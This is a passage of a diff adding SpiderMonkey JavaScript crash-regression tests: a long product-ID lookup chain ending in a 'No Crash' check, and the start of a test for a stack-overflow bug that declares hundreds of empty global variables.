+ else if(IDText.value=="4251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="5109"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="2251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e251rc210"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="erg2c1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="glo4aa1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="rc220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="rc250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="x112"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="x215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="4215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="5215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="6212"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="bas24a"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="db24a1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcbg"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kccl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcdl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcl2bu1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcwl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="ltcr"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="lteb"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="ltpt"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="sl240"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="v220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="5100"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="8209"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="8215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="9450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f101"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="fab4dcm"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="fl450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="k221"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="k251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="led4aa1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="sp220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="tw420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="tw450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="wp220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="wp250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="cfl420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="d410"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="d420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="fn450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in351"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in421"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="k220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="k250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="tuf4d1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v109"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v115"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="val2dl1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+
+ else if(IDText.value=="459"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="208ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="231ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1151"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1259"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1351"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1359"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3251r"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3251wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="4212wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="4250ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="5109ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="6212wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="9101ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="e250y"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="e251y"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in253"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="indwandr"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="indwandy"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="r215ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="pr2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr3"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr4"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr6"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr7"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr12"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr13"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr35"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="112"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="222"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="243"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="258"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="407"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="425"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="1156"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="1651"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="kpr102"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr103"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr104"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr113"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr116"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr802"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="skpr823"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="hpr50"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr51"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr52"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr53"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="f4t5"){
+ //Checks for id entry
+ res="../datasheets/flashlights/fluorescent.htm"
+ return true
+ }
+ else if(IDText.value=="f6t5"){
+ //Checks for id entry
+ res="../datasheets/flashlights/fluorescent.htm"
+ return true
+ }
+ else if(IDText.value=="t1-1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/highintensity.htm"
+ return true
+ }
+ else if(IDText.value=="t1-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/highintensity.htm"
+ return true
+ }
+ else if(IDText.value=="t2-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="t2-3"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="t2-4"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="tx15-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="4546ib"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrialbulb.htm"
+ return true
+ }
+ else if(IDText.value=="LED"){
+ //Checks for id entry
+ res="../datasheets/flashlights/led.htm"
+ return true
+ }
+
+
+
+ else if(IDText.value=="108"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="209"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="330"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="330y"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="331"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="331y"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="1251bk"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="2253"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3233"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3253"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3452"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="4220"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="4453"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="5154"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="5251"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="7369"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="8115"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="8415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="b170"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="bkc1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="d620"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="d820"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e252"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="em290"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="em420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f215"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="in25t"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kcdb"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kcsg"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kctw"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc251"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc290"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="t430"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="v235"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="x250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="x350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+
+
+
+ else {
+ print("You have entered an Invalid Product Number...Please try 'Select Product Group' search.")
+ return false
+ }
+
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-98901.js b/js/src/tests/non262/regress/regress-98901.js
new file mode 100644
index 0000000000..e6203e0b6e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-98901.js
@@ -0,0 +1,3892 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 98901;
+var summary = 'Stack overflow concatenating variables';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+UNID="";
+shrg="0";
+EMAL="";
+PASS="";
+PASV="";
+FNAM="";
+LNAM="";
+ADD1="";
+ADD2="";
+CITY="";
+STAT="";
+STATi=0;
+ZIPC="";
+PHON="";
+AGE2="";
+AGE2i=0;
+AGES="";
+SEXX="";
+SEXXi=-1;
+OCCU="";
+OCCUi=0;
+OCCO="";
+MODL="";
+SRNU="";
+MNTH="";
+MNTHi=0;
+YEAR="";
+YEARi=0;
+POPR="";
+POPRi=0;
+OPOP="";
+WHEN="";
+WHENi=-1;
+INFL="";
+INFLi=0;
+HM01="";
+HM02="";
+HM03="";
+HM04="";
+HM05="";
+HM06="";
+HM07="";
+HM08="";
+HM09="";
+HM10="";
+HM11="";
+HM12="";
+HM13="";
+HM14="";
+HM15="";
+HM16="";
+HM17="";
+HM18="";
+HM19="";
+HM20="";
+HM21="";
+HM22="";
+HM23="";
+HM24="";
+HS01="";
+HS02="";
+HS03="";
+HS04="";
+HS05="";
+HS06="";
+HS07="";
+HS08="";
+HS09="";
+HS10="";
+HS11="";
+HS12="";
+HS13="";
+HS14="";
+HS15="";
+HS16="";
+HS17="";
+HS18="";
+HS19="";
+HS20="";
+HS21="";
+HS22="";
+HS23="";
+HS24="";
+PL01="";
+PL01i=-1;
+PL02="";
+PL02i=-1;
+PL03="";
+PL03i=-1;
+PL04="";
+PL04i=-1;
+PL05="";
+PL05i=-1;
+PL06="";
+PL06i=-1;
+PL07="";
+PL07i=-1;
+PL08="";
+PL08i=-1;
+PL09="";
+PL09i=-1;
+PL10="";
+PL10i=-1;
+PL11="";
+PL11i=-1;
+PL12="";
+PL12i=-1;
+PL13="";
+PL13i=-1;
+PL14="";
+PL14i=-1;
+PL15="";
+PL15i=-1;
+PL16="";
+PL16i=-1;
+PL17="";
+PL17i=-1;
+PL18="";
+PL18i=-1;
+PL19="";
+PL19i=-1;
+PL20="";
+PL20i=-1;
+PL21="";
+PL21i=-1;
+PL22="";
+PL22i=-1;
+PL23="";
+PL23i=-1;
+PL24="";
+PL24i=-1;
+TVSO="";
+TVSOi=-1;
+FNDS="";
+FNDSi=-1;
+WGFT="";
+WGFTi=0;
+CE01="";
+CE01i=-1;
+CE02="";
+CE02i=-1;
+NEMA="Yes";
+NEMAi=0;
+PPUR="";
+PPURi=-1;
+PPUO="";
+CON1="";
+CON2="";
+CON3="";
+STNM="";
+STNMi=0;
+FE01="";
+FE01i=0;
+FE02="";
+FE03="";
+FE04="";
+FE05="";
+FE06="";
+FE07="";
+FE08="";
+FE09="";
+FE10="";
+FE11="";
+FE12="";
+FE13="";
+FE14="";
+FE15="";
+FE16="";
+FE17="";
+FE18="";
+FE19="";
+FE20="";
+FE21="";
+FE22="";
+FE23="";
+FE24="";
+FE25="";
+FE26="";
+FE27="";
+FE28="";
+FE29="";
+FE30="";
+FE31="";
+FE32="";
+FE33="";
+FE34="";
+FEOT="";
+NF01="";
+NF02="";
+NF03="";
+NF04="";
+NF05="";
+NF06="";
+NF07="";
+NF08="";
+NF09="";
+NF10="";
+NF11="";
+NF12="";
+NF13="";
+NF14="";
+NF15="";
+NF16="";
+NF17="";
+NF18="";
+NF19="";
+NFOT="";
+OSYS="";
+OSYSi=0;
+OSOT="";
+IMGS="";
+PBY1="";
+PBY2="";
+PBY3="";
+PBY4="";
+PBY5="";
+PBY6="";
+PBY7="";
+PBY8="";
+OPBY="";
+OWNC="";
+OWNCi=-1;
+CUSE="";
+CUSEi=-1;
+OCUS="";
+WCAM="";
+WCAMi=0;
+OC01="";
+OC02="";
+OC03="";
+OC04="";
+OC05="";
+OC06="";
+OC07="";
+OC08="";
+OC09="";
+OC10="";
+OC11="";
+CU01="";
+CU02="";
+CU03="";
+CU04="";
+CU05="";
+CU06="";
+CU07="";
+CU08="";
+CU09="";
+CU10="";
+PLYB="";
+PLYBi=0;
+CCON="";
+CCONi=0;
+BC01="";
+BC02="";
+BC03="";
+BC04="";
+BC05="";
+BC06="";
+IN01="";
+IN02="";
+IN03="";
+IN04="";
+IN05="";
+IN06="";
+IN07="";
+IN08="";
+IN09="";
+IN10="";
+IN11="";
+IN12="";
+IN13="";
+IN14="";
+IN15="";
+FI01="";
+FI02="";
+FI03="";
+FI04="";
+FI05="";
+FI06="";
+FI07="";
+FI08="";
+FI09="";
+FI10="";
+FI11="";
+FI12="";
+FI13="";
+FI14="";
+FI15="";
+FI16="";
+FI17="";
+FI18="";
+FI19="";
+FI20="";
+FI21="";
+FI22="";
+FI23="";
+FI24="";
+FI25="";
+FI26="";
+FI27="";
+FI28="";
+FI29="";
+FI30="";
+FI31="";
+FI32="";
+FI33="";
+FI34="";
+FI35="";
+FI36="";
+FI37="";
+FI38="";
+FI39="";
+FI40="";
+FI41="";
+FI42="";
+FI43="";
+FI44="";
+FI45="";
+FI46="";
+FI47="";
+FI48="";
+FI49="";
+FI50="";
+FI51="";
+FI52="";
+FI53="";
+FI54="";
+FI55="";
+FI56="";
+FI57="";
+FI58="";
+FF01="";
+FF02="";
+FF03="";
+FF04="";
+FF05="";
+FF06="";
+FF07="";
+FF08="";
+FF09="";
+FF10="";
+FF11="";
+FF12="";
+FF13="";
+FF14="";
+FF15="";
+FF16="";
+FF17="";
+FF18="";
+FF19="";
+FF20="";
+FF21="";
+FF22="";
+PPQT="";
+PPQTi=-1;
+PSQT="";
+PSQTi=-1;
+LCDQ="";
+LCDQi=-1;
+NITQ="";
+NITQi=-1;
+NTSQ="";
+NTSQi=-1;
+GENQ="";
+GENQi=-1;
+DSNQ="";
+DSNQi=-1;
+OPMQ="";
